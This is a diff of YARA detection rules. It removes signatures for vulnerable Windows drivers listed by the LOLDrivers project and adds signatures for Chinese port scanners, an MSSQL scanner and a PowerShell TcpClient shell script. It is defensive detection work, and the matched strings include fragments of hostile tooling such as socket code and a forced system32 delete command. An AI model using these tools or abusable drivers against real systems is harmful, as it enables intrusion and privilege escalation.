+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005a0041004d }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005a0065006d0061006e00610020004c00740064002e }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e00310036002e003200380037 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005a0041004d }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]005a0065006d0061006e00610020004c00740064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
+		$s0 = "[ValidateRange(1, 65535)]" fullword
+		$s1 = "$Client = New-Object -TypeName System.Net.Sockets.TcpClient" fullword
+		$s2 = "$Buffer = New-Object -TypeName System.Byte[] -ArgumentList $Client.ReceiveBufferSize" fullword
 
 	condition:
-		uint16(0)==0x5a4d and filesize <200KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Intelcorporation_Iqvwsys_Intelriqvwsys_19BF : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Chinese_Hacktool_1014
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - iQVW64.SYS"
-		author = "Florian Roth"
-		id = "4e733353-21f8-5a32-b735-fccd3ffba831"
-		date = "2023-06-14"
+		description = "Detects a chinese hacktool with unknown use"
+		author = "Florian Roth (Nextron Systems)"
+		id = "e5db5f58-a1fd-51e0-9037-337fcca71f11"
+		date = "2014-10-10"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L5575-L5595"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "19bf0d0f55d2ad33ef2d105520bde8fb4286f00e9d7a721e3c9587b9408a0775"
-		logic_hash = "b05c520a5816f2dc7a35319f7f5d11001c5d64cdee479e213ac95950acf26bfc"
-		score = 40
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L585-L602"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "98c07a62f7f0842bcdbf941170f34990"
+		logic_hash = "ffb1f653fd536a46dae4bf2c91c3c0582b703b8f0d33838b9736083e307a8e79"
+		score = 60
 		quality = 85
-		tags = "FILE"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0049006e00740065006c0028005200290020004e006500740077006f0072006b0020004100640061007000740065007200200044006900610067006e006f00730074006900630020004400720069007600650072 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0049006e00740065006c00200043006f00720070006f0072006100740069006f006e0020 }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e00300033002e0030002e00340020006200750069006c0074002000620079003a002000570069006e00440044004b }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e00300033002e0030002e0034 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006900510056005700360034002e005300590053 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0049006e00740065006c0028005200290020006900510056005700360034002e005300590053 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006900510056005700360034002e005300590053 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300032002d003200300031003100200049006e00740065006c00200043006f00720070006f0072006100740069006f006e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e }
+		$s0 = "IEXT2_IDC_HORZLINEMOVECURSOR" fullword wide
+		$s1 = "msctls_progress32" fullword wide
+		$s2 = "Reply-To: %s" fullword ascii
+		$s3 = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" fullword ascii
+		$s4 = "html htm htx asp" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Zemanaltd_Zam_2BBC : FILE
+import "pe"
+
+rule SIGNATURE_BASE_CN_Hacktool_BAT_Portsopen
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - zam64.sys"
-		author = "Florian Roth"
-		id = "171ebc5a-3e8a-5771-8960-b623f6581759"
-		date = "2023-06-14"
+		description = "Detects a chinese BAT hacktool for local port evaluation"
+		author = "Florian Roth (Nextron Systems)"
+		id = "55c3f678-ba70-5a4a-b288-9d0953eff968"
+		date = "2014-12-10"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L5598-L5615"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "2bbc6b9dd5e6d0327250b32305be20c89b19b56d33a096522ee33f22d8c82ff1"
-		logic_hash = "d311a2d88741100de1ca65107b08418f0d5a3fc44e4e388faf3434f9fec77dcc"
-		score = 40
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L604-L618"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "e5bc7b3264d7fc63fcc6c3d7e45859eb83b8ce60bd9a918f5eff887f626d09a3"
+		score = 60
 		quality = 85
-		tags = "FILE"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005a0041004d }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005a0065006d0061006e00610020004c00740064002e }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e00310038002e003300370031 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005a0041004d }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]005a0065006d0061006e00610020004c00740064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
+		$s0 = "for /f \"skip=4 tokens=2,5\" %%a in ('netstat -ano -p TCP') do (" ascii
+		$s1 = "in ('tasklist /fi \"PID eq %%b\" /FO CSV') do " ascii
+		$s2 = "@echo off" ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <200KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Logitechinc_Lvavsys_Logitechwebcamsoftware_E86C : FILE
+import "pe"
+
+rule SIGNATURE_BASE_CN_Hacktool_Ssport_Portscanner
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - Lv561av.sys"
-		author = "Florian Roth"
-		id = "3402e3fc-82be-577d-a297-fcae7539bcfc"
-		date = "2023-06-14"
+		description = "Detects a chinese Portscanner named SSPort"
+		author = "Florian Roth (Nextron Systems)"
+		id = "38cc8830-efd3-51b7-8ac6-c9bf468212cb"
+		date = "2014-12-10"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L5618-L5638"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "e86cb77de7b6a8025f9a546f6c45d135f471e664963cf70b381bee2dfd0fdef4"
-		logic_hash = "ffab2936594602db403cd2aa85e7dffdcb10ec199fe857b947ae3214492106d4"
-		score = 40
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L620-L634"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "30c380b6c683cbcbef7072e793d94e1782206b844fa23d334b737818f0a32f9f"
+		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004c006f00670069007400650063006800200056006900640065006f0020004400720069007600650072 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004c006f00670069007400650063006800200049006e0063002e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310032002e00300030002e0031003200370038002e0030 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310032002e00300030002e0031003200370038002e0030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004c007600350036003100610076002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004c006f006700690074006500630068002000570065006200630061006d00200053006f006600740077006100720065 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004c007600350036003100610076002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00280063002900200031003900390036002d00320030003000390020004c006f006700690074006500630068002e002000200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
+		$s0 = "Golden Fox" fullword wide
+		$s1 = "Syn Scan Port" fullword wide
+		$s2 = "CZ88.NET" fullword wide
 
 	condition:
-		uint16(0)==0x5a4d and filesize <600KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Hpinc_Hpportioxsys_Hpportio_C505 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_CN_Hacktool_Scanport_Portscanner
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - HpPortIox64.sys"
-		author = "Florian Roth"
-		id = "2fb75598-3743-50c5-b9cf-d0e928f0c57c"
-		date = "2023-06-14"
+		description = "Detects a chinese Portscanner named ScanPort"
+		author = "Florian Roth (Nextron Systems)"
+		id = "a708283e-339c-599f-9321-3b063d0076a9"
+		date = "2014-12-10"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L5641-L5661"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "c5050a2017490fff7aa53c73755982b339ddb0fd7cef2cde32c81bc9834331c5"
-		logic_hash = "6174ef1374e0dfd523f7dcdbbdaab1002a95040c1a33f26bf5145d5dcbf87b08"
-		score = 40
-		quality = 85
-		tags = "FILE"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L636-L650"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "fa2dce57cc3e9baecb80b0165dfeb1af1ba4c4b30098e3b1252eb98b4fc30f7f"
+		score = 70
+		quality = 60
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004800700050006f007200740049006f }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0048005000200049006e0063002e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0032002e0030002e0039 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0032002e0030002e0039 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004800700050006f007200740049006f007800360034002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004800700050006f007200740049006f }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004800700050006f007200740049006f007800360034002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000320030002d003200300032003100200048005000200049006e0063002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
+		$s0 = "LScanPort" fullword wide
+		$s1 = "LScanPort Microsoft" fullword wide
+		$s2 = "www.yupsoft.com" fullword wide
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Realtek_Rtkiowxsys_Realtekiodriver_AB8F : FILE
+import "pe"
+
+rule SIGNATURE_BASE_CN_Hacktool_S_EXE_Portscanner
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - rtkio64.sys"
-		author = "Florian Roth"
-		id = "fd0941e8-747f-5337-aaf2-f819e32b8884"
-		date = "2023-06-14"
+		description = "Detects a chinese Portscanner named s.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "d6b35d4f-7e25-50dd-bef2-08f7033312e8"
+		date = "2014-12-10"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L5664-L5684"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "ab8f2217e59319b88080e052782e559a706fa4fb7b8b708f709ff3617124da89"
-		logic_hash = "9be0907f77c5d4803a1ad7ac79cc42c15807a5b2d43e00a2448c6278ad5ea6c4"
-		score = 40
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L652-L666"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "658ae90f3af3c7abec6e692b6be350939ba7b654a9972d1a1016ff33e815a1de"
+		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005200650061006c00740065006b00200049004f0020004400720069007600650072 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005200650061006c00740065006b00200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020 }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e003000300039002e0030003700300039002e0032003000320030 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e003000300039002e0030003700300039002e0032003000320030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00720074006b0069006f007700310030007800360034002e0073007900730020 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005200650061006c00740065006b00200049004f00200044007200690076006500720020002000200020002000200020002000200020002000200020002000200020002000200020002000200020 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00720074006b0069006f007700310030007800360034002e0073007900730020 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003200300020005200650061006c00740065006b002000530065006d00690063006f006e0064007500630074006f007200200043006f00720070006f0072006100740069006f006e002e00200041006c006c002000520069006700680074002000520065007300650072007600650064002e002000200020002000200020002000200020002000200020 }
+		$s0 = "\\Result.txt" ascii
+		$s1 = "By:ZT QQ:376789051" fullword ascii
+		$s2 = "(http://www.eyuyan.com)" fullword wide
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Avgtechnologiesczsro_Aswarpot_Avginternetsecuritysystem_2CE8 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_CN_Hacktool_Milkt_BAT
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
-		author = "Florian Roth"
-		id = "e7cfd1c7-bd56-5fb1-8e6a-bc49b67b7c2c"
-		date = "2023-06-14"
+		description = "Detects a chinese Portscanner named MilkT - shipped BAT"
+		author = "Florian Roth (Nextron Systems)"
+		id = "d680a5f1-6182-5bc8-99de-c3cba1a61903"
+		date = "2014-12-10"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L5687-L5707"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "2ce81759bfa236913bbbb9b2cbc093140b099486fd002910b18e2c6e31fdc4f1"
-		logic_hash = "0ac2638aaea5a401222d1451281ba8dba8fe4ef43da24e5eecbdd6d57f7b1dbb"
-		score = 40
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L668-L681"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "ad74c45db0ef52223eb4dd162a21c57074a4ecb869a841d836d14afc997a7478"
+		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00410056004700200041006e0074006900200052006f006f0074006b00690074 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]00320030002e00310030002e003100370031002e0030 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00320030002e00310030002e003100370031002e0030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410056004700200049006e007400650072006e00650074002000530065006300750072006900740079002000530079007300740065006d0020 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000320030002000410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e }
+		$s0 = "for /f \"eol=P tokens=1 delims= \" %%i in (s1.txt) do echo %%i>>s2.txt" ascii
+		$s1 = "if not \"%Choice%\"==\"\" set Choice=%Choice:~0,1%" ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <300KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Msi_Ntiolibsys_Ntiolib_9254 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_CN_Hacktool_Milkt_Scanner
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - NTIOLib.sys"
-		author = "Florian Roth"
-		id = "ac7837d9-055e-502d-a497-fe96b0aa701d"
-		date = "2023-06-14"
+		description = "Detects a chinese Portscanner named MilkT"
+		author = "Florian Roth (Nextron Systems)"
+		id = "aa83c983-25c2-5051-88a1-fbc70d947d6e"
+		date = "2014-12-10"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L5710-L5730"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "9254f012009d55f555418ff85f7d93b184ab7cb0e37aecdfdab62cfe94dea96b"
-		logic_hash = "cfe16d39c54ccb7ceca1e0fc1033a4d67a0bc9c62c27dcefabe07b68b947e688"
-		score = 40
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L683-L701"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "707cbd625b5694b710d01622a053e60828da7f70b38e43012d04364137583fe9"
+		score = 60
 		quality = 85
-		tags = "FILE"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e00540049004f004c0069006200200066006f00720020004d00530049004400440052005f00430043 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d00530049 }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004e00540049004f004c00690062002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e00540049004f004c00690062 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004e00540049004f004c00690062002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300038002d00320030003000390020004d00530049002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
+		$s0 = "Bf **************" ascii fullword
+		$s1 = "forming Time: %d/" ascii
+		$s2 = "KERNEL32.DLL" ascii fullword
+		$s3 = "CRTDLL.DLL" ascii fullword
+		$s4 = "WS2_32.DLL" ascii fullword
+		$s5 = "GetProcAddress" ascii fullword
+		$s6 = "atoi" ascii fullword
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Intelcorporation_Iqvwsys_Intelriqvwsys_4429 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_CN_Hacktool_1433_Scanner : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - NalDrv.sys"
-		author = "Florian Roth"
-		id = "0ffa7a9b-5174-53df-a332-e8b9e460eb1b"
-		date = "2023-06-14"
+		description = "Detects a chinese MSSQL scanner"
+		author = "Florian Roth (Nextron Systems)"
+		id = "77712d29-1a32-59e7-999a-a2ef02212886"
+		date = "2014-12-10"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L5733-L5754"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "4429f32db1cc70567919d7d47b844a91cf1329a6cd116f582305f3b7b60cd60b"
-		hash = "a59c40e7470b7003e8adfee37c77606663e78d7e3f2ebb8d60910af19924d8df"
-		logic_hash = "3dd4326755957e11ca961eb87d0ccae5b63dc7ea4e9dc8e9c67e9c6d52bf894b"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L703-L720"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "3e51e3596fc90bcea46236728da5437a9b6f56a42d64a651940321f575b32129"
 		score = 40
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0049006e00740065006c0028005200290020004e006500740077006f0072006b0020004100640061007000740065007200200044006900610067006e006f00730074006900630020004400720069007600650072 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0049006e00740065006c00200043006f00720070006f0072006100740069006f006e0020 }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e00300033002e0030002e00370020006200750069006c0074002000620079003a002000570069006e00440044004b }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e00300033002e0030002e0037 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006900510056005700360034002e005300590053 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0049006e00740065006c0028005200290020006900510056005700360034002e005300590053 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006900510056005700360034002e005300590053 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300032002d003200300031003300200049006e00740065006c00200043006f00720070006f0072006100740069006f006e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e }
+		$s0 = "1433" wide fullword
+		$s1 = "1433V" wide
+		$s2 = "del Weak1.txt" ascii fullword
+		$s3 = "del Attack.txt" ascii fullword
+		$s4 = "del /s /Q C:\\Windows\\system32\\doors\\" ascii
+		$s5 = "!&start iexplore http://www.crsky.com/soft/4818.html)" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		uint16(0)==0x5a4d and all of ($s*)
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Realtek_Rtkiowxsys_Realtekiodriver_32E1 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_CN_Hacktool_1433_Scanner_Comp2 : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - rtkiow10x64.sys"
-		author = "Florian Roth"
-		id = "52d07201-6af3-5675-a5f0-9b6a7bb39b28"
-		date = "2023-06-14"
+		description = "Detects a chinese MSSQL scanner - component 2"
+		author = "Florian Roth (Nextron Systems)"
+		id = "7d707be5-dad0-5d91-965b-908a8603b6c0"
+		date = "2014-12-10"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L5757-L5777"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "32e1a8513eee746d17eb5402fb9d8ff9507fb6e1238e7ff06f7a5c50ff3df993"
-		logic_hash = "fd106f69d83d2b1aeb1fdaf16f5809b0fd0d200dec00292efd9bd62422e518a8"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L722-L736"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "7c84d59a821531d9e741a05a23a911bb1caa825a18bb6532381e5ff38193c260"
 		score = 40
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005200650061006c00740065006b00200049004f0020004400720069007600650072 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005200650061006c00740065006b00200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020 }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e003000300038002e0030003800320033002e0032003000310037 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e003000300038002e0030003800320033002e0032003000310037 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00720074006b0069006f007700310030007800360034002e0073007900730020 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005200650061006c00740065006b00200049004f00200044007200690076006500720020002000200020002000200020002000200020002000200020002000200020002000200020002000200020 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00720074006b0069006f007700310030007800360034002e0073007900730020 }
